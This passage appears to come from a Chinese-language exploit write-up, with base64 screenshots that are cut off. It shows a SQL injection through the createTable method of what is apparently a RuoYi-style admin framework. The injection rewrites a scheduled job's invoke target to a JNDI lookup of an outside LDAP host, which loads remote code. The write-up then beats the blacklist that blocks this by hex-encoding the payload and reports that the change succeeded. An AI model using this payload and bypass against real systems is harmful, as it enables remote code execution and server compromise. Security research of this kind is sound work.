<pre blockindex=106><code class="hljs language-php">genTableServiceImpl.createTable(<span class=hljs-string>'UPDATE sys_job SET invoke_target = '</span>javax.naming.InitialContext.lookup(<span class=hljs-string>'ldap://xcrlginufj.dgrh3.cn'</span>)<span class=hljs-string>' WHERE job_id = 1;'</span>)
|
||||
</code></pre>
|
||||
<p blockindex=107>但会触发黑名单</p>
|
||||
<p blockindex=108><img src="data:image/png;base64,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 truncated
|
||||
<p blockindex=109>由于是执行sql语句,直接将value转为16进制即可</p>
|
||||
<p blockindex=110><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABZIAAAB0CAYAAAAfMcdTAAAgAElEQVR4nO3dfVAd153n/w+gB4/14BUzRIljRJyZX0YTmEl+NgYHJ1IY1loia2aC5QBVWmZnokQp7Wqgxqvrkv/JMq7aksqw2kKjHdWSJZlaVltAIpPfBiusPAQbx6z1lHVmISGZ+Y0C+CEyY7SRJa+eQPtH9723u293n75w4SL0flWpStx7u/t09zndp799+ts5165duy0AAAAAAABgCbl2/Wa2i7Ds3bN6ZaTfsS+Wnmzsu9yMzQkAAAAAAAAAsCwRSAYAAAAAAMCSk5OTk+0iLGvpbF/2xdKSrX1HIBkAAAAAAABLzooVhK0WUjrbl32xtGRr31ELAAAAAAAAsOTk5eZqRR6hq4WwIi9XebnRty37YunI5r5bkZG5AAAAAAAAABm2YkWecnJzdOvWrG7fvp3t4tzxcnJytGJFeoHIOPZFdi2FfZdz7do19jwAAAAAAAAAIBBj0gEAAAAAAAAAoQgkAwAAAAAAAABCEUgGAAAAAAAAAIQikAwAAAAAAAAACEUgGQAAAAAAAAAQikAyAAAAAAAAACAUgWQAAAAAAAAAQCgCyQAAAAAAAACAUASSAQAAAAAAAAChVmS7AJBu/+K0bv98SPrHf5Bmb2W7OAAAAJir3BXSb3xcOZ/YopyPlWe7NAvi5q1Z3bgxq5nZ29kuCgAAAOYpLzdHq1blauUK83jjnGvXrtEDzKLb57+t2V+OaeaT2zW78XekvJXZLhIAAADmauamci/+VHk/OancD29WzsNfynaJMura9RndujWr3Fwpl2cbAQAA7nizs9a/FStydc/qvNDfEkjOotu/OK3Z0VO6WfmvCSADAAAsJzM3tXLw3ym3eNuyGZl889asrl+f0QqeaQQAAFh2bt2SVq/OCx2ZHLkbePPWrG7evK1bM7MZKdxysiIvVytX5kQaAu50++dDmvnkdoLIAAAAy03eSs18crtyfv6DZRNIvnFjllHIAAAAy1RurtXfm3cg+dr1Gc3OSmvuXaWVK1coJydjZbzj3b4t3bx5S1c/uKGZmRnjEHCXf/wHzX72Xy1c4QAAAJA1sxt/R/of/ynbxciYmdnbWsX4BwAAgGUpN1e6cTM8cYVxTMHNW7OanZX+yX33atUqgsheOTnSqlUr9E/uu1ezs9b2imz2FqORAQAAlqu8lbxIGQAAAMuGOZB887bW3LuKALJBTo41YvumIXIPAAAAAAAAAHcaYyD51sysVq7kjRpRrFy5ghzSAAAAAAAAAJadSK/LYDRyNGwnAAAAAAAAAMsR710GAAAAAAAAAIQikAwAAAAAAAAACLUgyY//9sjn9Z8efEFH/iDf9dmfdPr8uCKml9qe0Fu+39fp618f13PPve67nIZvvKw//3TGin1nmTqlA/VHpFinDlVvyHZpsmRMx6r2q6euVYN7Ni/MIkY6VHm8UCcOblO++deR9st0f7N2tkixrmZtLzDN0FpHtfVpb0nq5z3OjxZyOyy4Szr5bIOGtma2Pk/3N2vnKxXR999c2fu9qK1Pe+WsMxHWa+qUDtRPqmFgt4oXsoySrHrTpSJv3Uu3nkdell/dDTbavkP7umt0NMPbwmpz5yTV6GhXoTrTOXZmav+MdKiySeHrNtKhyqbexJ/lC3Z8T9aDot4d2nehceHbCAAkePowafZfksd0SSr170+lnNes83HLGZ8ZlnmOgZ5jca2pD+Zb/tTzrbvcTu51sM6FAWWz+xunQ5dt4tkW3mVkZHrrN+O7/PoAaS7ft48SNg/PdwHbKFI9ChS0fJ/+eVyiHN66OJ9+j/+1kHvd/Oc/v/UPnz54+Wm0Q+fv5fddWDt0f+ffn4rSjjNYj/3YxxrXMSZiXzB0/zmOE8l5z628UY9boesk0/J92k1abUqe7eYsW2bqnOu4PIf2klpGv3PLXKdNbiNnfclkHTFeU3vK55SYv89vkuWd7372Kb/fsc9zDvXug+D9nE49mk8fZ379o8WU+UDyG8fsgPCTeug56bNftwLKv9f4sn5U/6Ian5jQV87u1e/Zv33oW9Zkv9f4sn7UKOldz28kffEPvAuZ1nebnpfuz3jp7xwF23RoYFu2S5Flm7V3oE97s10Mp5T9knohkV/drMHqeSzDcYIeTBz4Lulk+1lNa3PGgkHT/c3aOVGfsYNXpue3dFzSycN2ELlE0ki2yxNsur9LPXX1GnR1fC7p5PFe1e7qy3ogsXhPnwb3ZHimIx3a2VKoowPNiY7EUj12jg5LRwf67HKO6VhVg449kEYncw6K93Qq9myDuke2LehyAMCSvMk4OIdjTuJidqA54JzluAgra3R8vkHbD/Zpu+u38SCRN4jsPBanX/7khWipYo7P/fp/8b6RMwC370KjTgwkb0bvbN+UDEAenlTDQJ8OOcp/oD+dm47JG9yDB+dyo9I8vTN4Ubsr08s3z2O0vUEtD7Zq8GAyaFvZ7hNoDa1Hc12+37WJfS1Qs9ledpvGd/Vp8KCjLM+emtMN3en+rtTAi6ffM93frJ1VHa6AyvzW3zB96PIjtsPEvF6wAjdl3i/C2uElnXx2v8ZjnRpMBKgadEDOdmJux4tSj4+nBt6i9AXD99+YjtmDWw45rxPnWN4oxy3TOkVbftANFXOb0tQpHWiaVKyrT9sL7PLVd6goU3VupEOdmzo1OLAh8XdlYv4RGc8tc53WW98ti1lHJEkluzU4sDu13McLVedsY4GB0fT3s3c/mI+tnvUe6VBlU3MyThO6n6PWo/n0cebXP1psmU1t8e6Lavyq9NdnX9aPXozps6rTVxyjkt87/ap+2LAlESB+b3Jc+s2P6dcds/D+xgoaf17//g3ngt7RheEiffxDGS09sPQ5DqDuoM8Gbd/DiMKsmDqrITW6T5JL0iW9/so51VZ4Tt5TZzV0pkZblnz556GsUB/JdhkiKN7j7JBu1pY6qWd4bIGXukHbd9Wo5/gpTS/wkgBgtN264J3TjaupU3q+pVBHAwNujgvqthrz/EZeUIvr/D2mY02TinUFBwdM5U8GgltVayzAmLpbpFj8Ijl+nk5clG7Q9qcbVd79mkbjfx90ls06fp9+5Wzk4/d0f5taHmyd89MuxukTQcROxVKCf/NfvnEeU6fU2V2jo4lAhXcbKkI9msfyfX9v3cR3Dihx1p/86nrVnhnW61NpFsRej9o654f24IC2ZD3Jr25SrKxXQyPu6ea6/uHTR1i+V0o7jLPaY21dacokoe3Qnt8zif2zWXvb3O3EeBxatHpck3KcMPYFI+2/UhVtzGx5k7zHLe9yUtfJuPypCY2nUQJvm5o+P6zTrjaW4TpXsttd9pInw+efwnxume+0RQ84ypf1OiIlByolyzD95mRac/Du59HeI1KsKXkDw94Pnf2XJEU4to68pp4yx34v2a2jdec0dP5S4u+09rNPPZpPH2de/aMsyGAgeVrf/bct+qG69SePfF4PPeH4f9OLeu/dF/UXz0lfry/W3x75vB565PN6/LnX1bCl2DWPV//G+5kkPaoHnaOP3xhSZ8UmfTRiycYnfqnxiV9GXpPxiV/qV7+6Evn32TGmY1U7dMxRsUfbd6iyKv6vWSenHJ+3e4IRIx2qrOqwO1WXdPJZ57Qdic7WaPsOVT7rCDBMndIBz3LlmMeB/kuuchywG7apjMnpxxxlsb8f6UhO4yyLY5nubeJen5SyOudX1aHRkQ7PfINN9zdbvw0sk2O/jHSosmq/enROLfWO7era9sltmpifd185t1/vEdeJMphVDr99mtwGHRp1LdtdH3a2nJO696fsR/c+jFJXwucXxr0sv3pnWE+P6f7m5HymTumAqw7G55f8zHd/e5YxfX5Y2vpI8kRdsluDYSdu1zZv1smLpvX2ayfuduaqM0FtNCBgbHW+HlOxorV3/7LF6318fwTsB++6j5zSAcdvE9s7ZF2ddcf9e5ujPU/3N1uPP505op2J7ZR67Awto8/+MR1D4uUateubq777trlg5Zs2Bn8ZcOwwH6c2a++A41GwksfmdhELAGkZ01B3jRrCLlRdx1fPMf/8sBR7MuRi2hoxFO1COPUiVyOvuS5a51L+/Orm8D6Ag/ciOVOC+mlWoNo/AJSx6e1Raf77KNryU86x6czj4qROe28eF2xSkSY1Hu/bGeuRtwzOPkPEdUgIDrqFClx+shzW03C7tcX1+UWNn3EHiKQNKnpQGn/TakuR1t/Tv4jeDs3LT1kPbzu0WUGVJtVt8k4T3g6n35yUHtzknt/GQpWfmdQ7EaaXlJF6HL/m8N2H8UDfnsdC5xHn7AuGbv+pUzqQcu0533bvXa+A41bgOqXbZkzm2KYc5Um/zkWcrzOe4ux3G88tUso1bXz60GmtEestZ6SepuR12ULVEWtdwo7Pzt8FBeujSr3ROn7BEzDXBj26tVSnJ/wu1haaXz2KcGxR8LV0lGmXkgwGkvP1xbYX9PWKR/X1F1/WXzdYaS1+9I06abhFjz/xqn7/xUP64ofsNBZnrX+uHMdvdOs5xfTHrrzHqaOP35sc12f/6WdcI5nD/HD4f+p41/f16mv/0/jbvx35Ox3v+r76vv9qxLkvFWMaUqsGB/o0ONCnEzGp5bB1ACquqJGcd+IljQ73qjx+gJk6q/GtnYlpj9b1ap8dkCje06raM0fUbZ/8rDtBwXdKTrc0aKjCms9gW41Ot7Q5gmDBZUxO3yU9HS+HfYA7XqgTA30aHLDK8rwhCNnT1JaYx4lYqXqaHAe5kQ5V2iN6rXI8pqGAfD6BzhzRzuHH7OlDylSy2/pepfby/Dsk0+cntSVRnlbVdu8PCHJZB9CUEaVe9glCbX2ObT2pfSkH+17tOyw9M9CnwYFOxcri+926EDsRK7UePxlIXpSNtu/QPtc+nNQ++0QXXFeC5xfMOhk7lzXY1ajxJLine truncated
|
||||
<pre blockindex=111><code class="hljs language-php">genTableServiceImpl.createTable(<span class=hljs-string>'UPDATE sys_job SET invoke_target = 0x6a617661782e6e616d696e672e496e697469616c436f6e746578742e6c6f6f6b757028276c6461703a2f2f7863726c67696e75666a2e64677268332e636e2729 WHERE job_id = 1;'</span>)
|
||||
</code></pre>
|
||||
<p blockindex=112>可以成功创建<br>
|
||||
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABncAAAF7CAYAAAAAOd4GAAAgAElEQVR4nOzdeVxU590//M8MM8CAIjCACFGjoiIiSoK/JKDBuMTGWOWJSdEEWxfS1qYurSY+fe6ocemvL43ebm1Ncrs1MVGbpWqM1rhEVEjuSoIionGNC6jsoswIM8w8fwzncGZjZmBgWD7vvnhV5lznOtc5Z3KYOd/z/V6ywSNSjGe++Rdam/LycnTq1MnTw2iVHj58CL3Ry9PDoBaikNXyvwUiIiIiIiIiIiJqVR4+fIigoCBPD8NMeXl5qxtTc1EAQGFhoafHYZNWq/X0EFollUrl6SFQCysuLvb0EIiIiIiIiIiIiIjMtMZ7+K1xTM1BAQABAV08PQ5ykdLTA6AW5AWl0tvTgyAiIiIiIiIiIiKiVkLu6QEQERERERERERERERGR8xjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDGNwhIiIiIiIiIiIiIiJqQxjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDGNwhIiIiIiIiIiIiIiJqQxjcISIiIiIiIiIiIiIiakMY3CEiIiIiIiIiIiIiImpDFM3VsdFobK6uiYiIiIiIiIiIiIiIOhSZTCb+2+3BHSGoYzQazf5NRERERERERERERERErhGCOnK5XPzdbcEdaSDHYDCY/b800ENERERERERERERERESOyWQy8cfLy0sM8LgluCMN4BgMBiiVCnh7e0OhUIgbIiIiIiIiIiIiIiIiIucYDAbU1NRAq9VCq30Eb29vMcDT5OCOZWZOp06doFQ221Q+RERERERERERERERE7Z5cLoevry98fX3h51eN+/crYTAYTIk17tiAENjp3JmBHSIiIiIiIiIiIiIiInfy8fFBSIgaBoMBOp2uacEdaSk2Pz8/lmAjIiIiIiIiIiIiIiJqBnK5HIGBgaipqWl65o4wxw4zdoiIiIiIiIiIiIiIiJqPr68PfHx8Gh/ckc614+3t7c6xERERERERERERERERkQ3+/n5NL8smTN5DREREREREREREREREzcvX17fpZdmMRiPn2iEiIiIiIiIiIiIiImoBXl5eTc/cMRqN7hoPEREREREREREREREROeCWzB0iIiIiIiIiIiIiIiJqGaynRkRERERERERERERE1IYwuENERERE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 truncated
|
||||
<p blockindex=113>运行后任务1的<strong>调用目标字符串</strong>也被成功修改</p>
|
||||
<p blockindex=114><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABncAAADtCAYAAABtcSDsAAAgAElEQVR4nOzdeXRUdb73+09VZQYSBtkJg4hAUDGBiNpK06cbyDEYZclpfW4fZVic++htXIvrkici0M09dLdn2SLTo4vDs8Sj5548DPJ4brdLHxQJHbDtpnHEhMSoIIgMkhQiIUBCpqr7x66q1LArqYxVFd6vtVySXXv41a6qXbt+39/3+7NdunTZrW5wu92+/1wul1pbW33/uVwuuVwuSW65u3UUAAAAAAAAAACAa4PNJkk22e122e12JSUlyeFwyG63y2azKaH7B7D5/u/9z+FwyOVyBQR+AAAAAAAAAAAAEJnguIs3sCOp+8Ed7wG8HA6H3G637Ha7JBHYAQAAAAAAAAAA6AJv/MUbc+nR4E7wQYL/DQAAAAAAAAAAgK4Jjrn0aHAn3EEAAAAAAAAAAADQM+zRbgAAAAAAAAAAAAAiR3AHAAAAAAAAAAAgjhDcAQAAAAAAAAAAiCMEdwAAAAAAAAAAAOJIQm/s1O1298ZuAQAAAAAAAAAArjk2my3